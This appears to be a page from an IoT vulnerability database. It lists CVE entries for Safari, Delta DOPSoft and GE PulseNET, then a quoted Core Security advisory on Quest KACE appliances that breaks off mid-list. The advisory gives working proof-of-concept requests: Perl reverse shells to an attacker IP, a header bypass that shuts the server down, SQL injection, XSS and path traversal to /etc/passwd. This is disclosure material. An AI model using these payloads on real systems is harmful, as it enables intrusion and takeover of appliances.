VARIoT IoT vulnerabilities database

An issue was discovered in certain Apple products. Safari before 11.1.1 is affected. The issue involves the "Safari" component. It allows remote attackers to spoof the address bar via a crafted web site. This may allow a remote attacker to carry out phishing-style attacks. Versions prior to Safari 11.1.1 are vulnerable. Apple Safari is a web browser developed by Apple (Apple), and is the default browser included with Mac OS X and iOS operating systems. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-06-01-2 Safari 11.1.1 Safari 11.1.1 is now available and addresses the following: Safari Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: A malicious website may be able to cause a denial of service Description: A denial of service issue was addressed with improved validation. CVE-2018-4247: FranASSois Renaud, Jesse Viviano of Verizon Enterprise Solutions Safari Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4205: xisigr of Tencent's Xuanwu Lab (tencent.com) WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a maliciously crafted website may lead to cookies being overwritten Description: A permissions issue existed in the handling of web browser cookies. This issue was addressed with improved restrictions. CVE-2018-4232: an anonymous researcher, Aymeric Chaib WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A type confusion issue was addressed with improved memory handling. CVE-2018-4246: found by OSS-Fuzz WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A race condition was addressed with improved locking. CVE-2018-4192: Markus Gaasedelen, Nick Burnett, and Patrick Biernat of Ret2 Systems, Inc working with Trend Micro's Zero Day Initiative WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash Description: A memory corruption issue was addressed with improved input validation. CVE-2018-4214: found by OSS-Fuzz WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4188: YoKo Kho (@YoKoAcc) of Mitra Integrasi Informatika, PT WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2018-4201: an anonymous researcher CVE-2018-4218: Natalie Silvanovich of Google Project Zero CVE-2018-4233: Samuel GroA (@5aelo) working with Trend Micro's Zero Day Initiative WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A buffer overflow issue was addressed with improved memory handling. CVE-2018-4199: Alex Plaskett, Georgi Geshev, Fabi Beterke, and Nils of MWR Labs working with Trend Micro's Zero Day Initiative WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a maliciously crafted website may leak sensitive data Description: Credentials were unexpectedly sent when fetching CSS mask images. This was addressed by using a CORS-enabled fetch method. CVE-2018-4190: Jun Kokatsu (@shhnjk) WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: An out-of-bounds read was addressed with improved input validation. CVE-2018-4222: Natalie Silvanovich of Google Project Zero Installation note: Safari 11.1.1 may be obtained from the Mac App Store. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQJdBAEBCABHFiEEWpnGpHhyhjM9LuGIyxcaHpDFUHMFAlsRa04pHHByb2R1Y3Qt c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQyxcaHpDFUHOVEQ/+ P+thAL+hl4RuHIXCrfh/eZ+GgwPXDDVSPRefnHckiEMZSXpSDiTTu1JwWkgHf44l xwOqvFd56zSVo/gk/45FnOcpoXxcFuHk2ddJvZM4R4EaCwKW3PEcTIL+8klxyDWo 17HqxtfB32Gy6BSARcfTkXZ1/c4CfhQefYiU2JtLDui6iZLUzDEGWdQRf/Q0H8tx DNBVy1i5HGZdrZ6sgR7eKZKyuscqj9n0IbBUybPOQ37OFRfl8CYPT+XB6djgWGxo sLkZi+XYl/O/PXzQt9XfxkgKUjvvlR2hkt2mKTjFEUQDQIha4BkE2+1EdJZPNROz LRbMnxiAvY/7vb5a98h8nmXe3Z/Os/BZYyipMQjbMQt5BNkRHQK03prn7kd/g1F1 eKeplTnob9CDMcEbdnn5KvkdYcoyJFqcignVvGFJQupAU8+HJgneH4ky5laGkHY5 8JU98flmzwySOmqaTLNqfDKDQlH0Vz053KAyxZ1S8DKfmdG7ulB0lWeD02pL/vdB aAV5jI08/QpXasU2cbM0tHO1rPiYocXCSZJKNvFVlkP6z/l7hiGnJ50x1uG4eYX9 dY8K0wTe76q/co81DWUkvd+D7634tL0vmv9K3bpFoyPQJCzn2EPl97IYFcLdtGC7 NQRA+mye5jeky3zqYi5GZTuVWIqR8+I0vkYp4YHjli8= =LQMS -----END PGP SIGNATURE-----

An issue was discovered in certain Apple products. iOS before 11.4 is affected. Safari before 11.1.1 is affected. The issue involves the "Safari" component. It allows remote attackers to cause a denial of service (persistent Safari outage) via a crafted web site. Apple iOS and Safari are prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause a denial-of-service condition. Apple iOS is an operating system developed for mobile devices; Safari is a web browser that is the default browser included with Mac OS X and iOS operating systems. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-06-01-2 Safari 11.1.1 Safari 11.1.1 is now available and addresses the following: Safari Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: A malicious website may be able to cause a denial of service Description: A denial of service issue was addressed with improved validation. CVE-2018-4247: FranASSois Renaud, Jesse Viviano of Verizon Enterprise Solutions Safari Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4205: xisigr of Tencent's Xuanwu Lab (tencent.com) WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a maliciously crafted website may lead to cookies being overwritten Description: A permissions issue existed in the handling of web browser cookies. This issue was addressed with improved restrictions. CVE-2018-4232: an anonymous researcher, Aymeric Chaib WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A type confusion issue was addressed with improved memory handling. CVE-2018-4246: found by OSS-Fuzz WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A race condition was addressed with improved locking. CVE-2018-4192: Markus Gaasedelen, Nick Burnett, and Patrick Biernat of Ret2 Systems, Inc working with Trend Micro's Zero Day Initiative WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash Description: A memory corruption issue was addressed with improved input validation. CVE-2018-4214: found by OSS-Fuzz WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4188: YoKo Kho (@YoKoAcc) of Mitra Integrasi Informatika, PT WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2018-4201: an anonymous researcher CVE-2018-4218: Natalie Silvanovich of Google Project Zero CVE-2018-4233: Samuel GroA (@5aelo) working with Trend Micro's Zero Day Initiative WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A buffer overflow issue was addressed with improved memory handling. CVE-2018-4199: Alex Plaskett, Georgi Geshev, Fabi Beterke, and Nils of MWR Labs working with Trend Micro's Zero Day Initiative WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Visiting a maliciously crafted website may leak sensitive data Description: Credentials were unexpectedly sent when fetching CSS mask images. This was addressed by using a CORS-enabled fetch method. CVE-2018-4190: Jun Kokatsu (@shhnjk) WebKit Available for: OS X El Capitan 10.11.6, macOS Sierra 10.12.6, and macOS High Sierra 10.13.4 Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: An out-of-bounds read was addressed with improved input validation. CVE-2018-4222: Natalie Silvanovich of Google Project Zero Installation note: Safari 11.1.1 may be obtained from the Mac App Store. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQJdBAEBCABHFiEEWpnGpHhyhjM9LuGIyxcaHpDFUHMFAlsRa04pHHByb2R1Y3Qt c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQyxcaHpDFUHOVEQ/+ P+thAL+hl4RuHIXCrfh/eZ+GgwPXDDVSPRefnHckiEMZSXpSDiTTu1JwWkgHf44l xwOqvFd56zSVo/gk/45FnOcpoXxcFuHk2ddJvZM4R4EaCwKW3PEcTIL+8klxyDWo 17HqxtfB32Gy6BSARcfTkXZ1/c4CfhQefYiU2JtLDui6iZLUzDEGWdQRf/Q0H8tx DNBVy1i5HGZdrZ6sgR7eKZKyuscqj9n0IbBUybPOQ37OFRfl8CYPT+XB6djgWGxo sLkZi+XYl/O/PXzQt9XfxkgKUjvvlR2hkt2mKTjFEUQDQIha4BkE2+1EdJZPNROz LRbMnxiAvY/7vb5a98h8nmXe3Z/Os/BZYyipMQjbMQt5BNkRHQK03prn7kd/g1F1 eKeplTnob9CDMcEbdnn5KvkdYcoyJFqcignVvGFJQupAU8+HJgneH4ky5laGkHY5 8JU98flmzwySOmqaTLNqfDKDQlH0Vz053KAyxZ1S8DKfmdG7ulB0lWeD02pL/vdB aAV5jI08/QpXasU2cbM0tHO1rPiYocXCSZJKNvFVlkP6z/l7hiGnJ50x1uG4eYX9 dY8K0wTe76q/co81DWUkvd+D7634tL0vmv9K3bpFoyPQJCzn2EPl97IYFcLdtGC7 NQRA+mye5jeky3zqYi5GZTuVWIqR8+I0vkYp4YHjli8= =LQMS -----END PGP SIGNATURE-----

Delta Electronics Delta Industrial Automation DOPSoft version 4.00.04 and prior utilizes a fixed-length heap buffer where a value larger than the buffer can be read from a .dpa file into the buffer, causing the buffer to be overwritten. This may allow remote code execution or cause the application to crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of fields in DPA files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code under the context of the current process. Delta Electronics Delta Industrial Automation DOPSoft is a set of human interface applications from Delta Electronics. A remote code-execution vulnerability 2. A stack-based buffer-overflow vulnerability 3. Failed attacks will cause denial of service conditions. DOPSoft 4.00.04 and prior are vulnerable

Multiple variants of XML External Entity (XXE) attacks may be used to exfiltrate data from the host Windows platform in GE MDS PulseNET and MDS PulseNET Enterprise version 3.2.1 and prior. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of GE MDS PulseNET. Authentication is not required to exploit this vulnerability. The specific flaw exists within the XmlAdapterServlet servlet. Due to the improper restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose information under the context of the service. GEMDSPulseNET and MDSPulseNETEnterprise are products of General Electric (GE). GEMDSPulseNET is a network management software designed for radio communication systems. MDSPulseNETEnterprise is its enterprise version. Security vulnerabilities existed in GEMDSPulseNET and MDSPulseNET Enterprise 3.2.1 and earlier. Multiple GE MDS PulseNET products are prone to multiple security vulnerabilities. Attackers can exploit these issue to bypass the authentication mechanism, use a specially crafted request with directory-traversal sequences ('../') to access or read arbitrary files that contain sensitive information, or to cause a denial-of-service condition

Delta Electronics Delta Industrial Automation DOPSoft version 4.00.04 and prior utilizes a fixed-length stack buffer where a value larger than the buffer can be read from a .dpa file into the buffer, causing the buffer to be overwritten. This may allow remote code execution or cause the application to crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of fields in DPA files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of the current process. Delta Electronics Delta Industrial Automation DOPSoft is a set of human interface applications from Delta Electronics. A remote code-execution vulnerability 2. A stack-based buffer-overflow vulnerability 3. Failed attacks will cause denial of service conditions. DOPSoft 4.00.04 and prior are vulnerable

Delta Electronics Delta Industrial Automation DOPSoft version 4.00.04 and prior performs read operations on a memory buffer where the position can be determined by a value read from a .dpa file. This may cause improper restriction of operations within the bounds of the memory buffer, allow remote code execution, alter the intended control flow, allow reading of sensitive information, or cause the application to crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of fields in DPA files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute code under the context of the current process. Delta Electronics Delta Industrial Automation DOPSoft is a set of human interface applications from Delta Electronics. A remote code-execution vulnerability 2. A stack-based buffer-overflow vulnerability 3. Failed attacks will cause denial of service conditions. DOPSoft 4.00.04 and prior are vulnerable

Directory traversal may lead to files being exfiltrated or deleted on the GE MDS PulseNET and MDS PulseNET Enterprise version 3.2.1 and prior host platform. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of GE MDS PulseNET. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within the FileServlet servlet. When parsing the name parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information under the context of the current service. GEMDSPulseNET and MDSPulseNETEnterprise are products of General Electric (GE). GEMDSPulseNET is a network management software designed for radio communication systems. MDSPulseNETEnterprise is its enterprise version. A directory traversal vulnerability exists in GEMDSPulseNET and MDSPulseNET Enterprise 3.2.1 and earlier. Multiple GE MDS PulseNET products are prone to multiple security vulnerabilities. Attackers can exploit these issue to bypass the authentication mechanism, use a specially crafted request with directory-traversal sequences ('../') to access or read arbitrary files that contain sensitive information, or to cause a denial-of-service condition

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by anonymous users and can be abused to execute arbitrary commands on the system. Quest KACE Systems Management Appliance Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. QuestKACESystemManagementAppliance provides comprehensive system management for all network connected devices. A command injection vulnerability exists in the '/common/download_agent_installer.php' script in QuestKACESystemManagementAppliance8.0.318. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Quest KACE System Management Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: Quest KACE System Management Appliance Multiple Vulnerabilities Advisory ID: CORE-2018-0004 Advisory URL: http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities Date published: 2018-05-31 Date of last update: 2018-05-22 Vendors contacted: Quest Software Inc. Release mode: Forced release 2. *Vulnerability Information* Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Authorization [CWE-285], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Input During Web Page Generation [CWE-79], External Control of File Name or Path [CWE-73], External Control of File Name or Path [CWE-73] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134, CVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140, CVE-2018-11133, CVE-2018-11137, CVE-2018-11141 3. *Vulnerability Description* >From Quest KACE's website: "The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement." Multiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user. Additional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7. Note: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of "responsible disclosure" can be found at https://support.quest.com/essentials/reporting-security-vulnerability. CoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk. We regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices. 4. *Vulnerable Packages* . Quest KACE System Management Appliance 8.0 (Build 8.0.318) Other products and versions might be affected too, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* Quest reports that it has released the security vulnerability patch SEC2018_20180410 to address the reported vulnerabilities. Patch can be download at https://support.quest.com/download-install-detail/6086148. For more details, Quest published the following Security Note: https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410- 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* Quest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective. Section 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user. Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token. In addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device. Additional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11). 7.1. The script receives the following parameters via the GET method: . platform: Indicates the platform in which the agent is going to be installed . serv: SHA256 hash of a fixed value that depends of each appliance . orgid: Organization ID . version: Version number of the agent The last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'. As stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query. Preparing payload: /----- - platform = windows - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c - orgid = 1#;perl -e 'use Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'; - version = 8.0.152 (last agent version available for windows) -----/ The following proof of concept executes a reverse shell: /----- GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152 HTTP/1.1 Host: Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.2. The following proof of concept executes a reverse shell: /----- POST /common/ajax_email_connection_test.php HTTP/1.1 Host: [ServerIP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 416 Cookie: [Cookie] Connection: close TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.3. *PHP Object Injection leading to arbitrary command execution* [CVE-2018-11135] An authenticated user could abuse a deserialization call on the script '/adminui/error_details.php' to inject arbitrary PHP objects. To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue. 7.4. *Privilege escalation via password change in Sudo Server* [CVE-2018-11134] In order to perform actions that requires higher privileges, the application relies on a message queue managed that runs with root privileges and only allows a set of commands. One of the available commands allows to change any user's password (including root). Assuming we are able to run commands in the server, we could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges. 7.5. *Privilege escalation via command injection in Sudo Server* [CVE-2018-11132] As mentioned in the issue [7.4], in order to perform actions that require higher privileges, the application relies on a message queue that runs daemonized with root privileges and only allows a set of commands to be executed. 7.6. *Insufficient Authorization for critical function* [CVE-2018-11142] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers. The following proof of concept abuses this vulnerability to shutdown the server as an anonymous user: /----- POST /systemui/settings_network.php HTTP/1.1 Host: localhost X-Forwarded-For: ::1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIp]/systemui/settings_network.php Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129 Content-Length: 3418 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="CSRF_TOKEN" -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="$shutdown" DoIt! Content-Disposition: form-data; name="save" Save -----------------------------5642543667001619951434940129-- -----/ 7.7. *Unauthenticated SQL Injection in download_agent_installer.php* [CVE-2018-11136] The 'orgID' parameter received by the '/common/download_agent_installer.php' script is not sanitized, leading to SQL injection. In particular, a blind time based type. The following proof of concept induces a time delay: /----- http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 AND SLEEP(10)%23;&version=8.0.152 -----/ 7.8. *SQL Injection in run_report.php* [CVE-2018-11140] The 'reportID' parameter received by the '/common/run_report.php' script is not sanitized, leading to SQL injection. In particular, an error based type. The following proof of concept retrieves the current database name: /----- POST /common/run_report.php HTTP/1.1 Content-Length: 161 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: [ServerIP] Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID= Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Cookie: [Cookie] date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf -----/ /----- HTTP/1.1 200 OK Date: Thu, 08 Feb 2018 21:50:21 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: [ServerIP] X-KACE-Version: 8.0.318 X-KBOX-WebServer: [ServerIP] X-KBOX-Version: 8.0.318 X-KACE-WebServer: [ServerIP] X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Content-Length: 3548 Connection: close Content-Type: text/html; charset=utf-8 [...SNIPPED...] <script type="text/javascript" src="/common/js/vendor/html5.js?BUILD=318" /></script> <![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta http-equiv='refresh' [...SNIPPED...] -----/ 7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php* [CVE-2018-11133] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting. The following proof of concept demonstrates the vulnerability: /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ 7.10. *Path traversal in download_attachment.php leading to arbitrary file read* [CVE-2018-11137] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script. It is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords. /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ The following proof of concept demonstrates the vulnerability: /----- GET /common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 18 Jan 2018 17:18:19 GMT Server: Apache Cache-Control: must-revalidate, post-check=0, pre-check=0 Expires: -1 Pragma: public Content-Disposition: attachment; filename="" Content-Transfer-Encoding: Binary Content-Description: K1000 attachment Content-Length: 2400 Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: k10000. X-KACE-Version: 8.0.318 X-KBOX-WebServer: k10000. X-KBOX-Version: 8.0.318 X-KACE-WebServer: k10000. X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Connection: close Content-Type: application/octet-stream # $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...] -----/ 7.11. *Path traversal in advisory.php 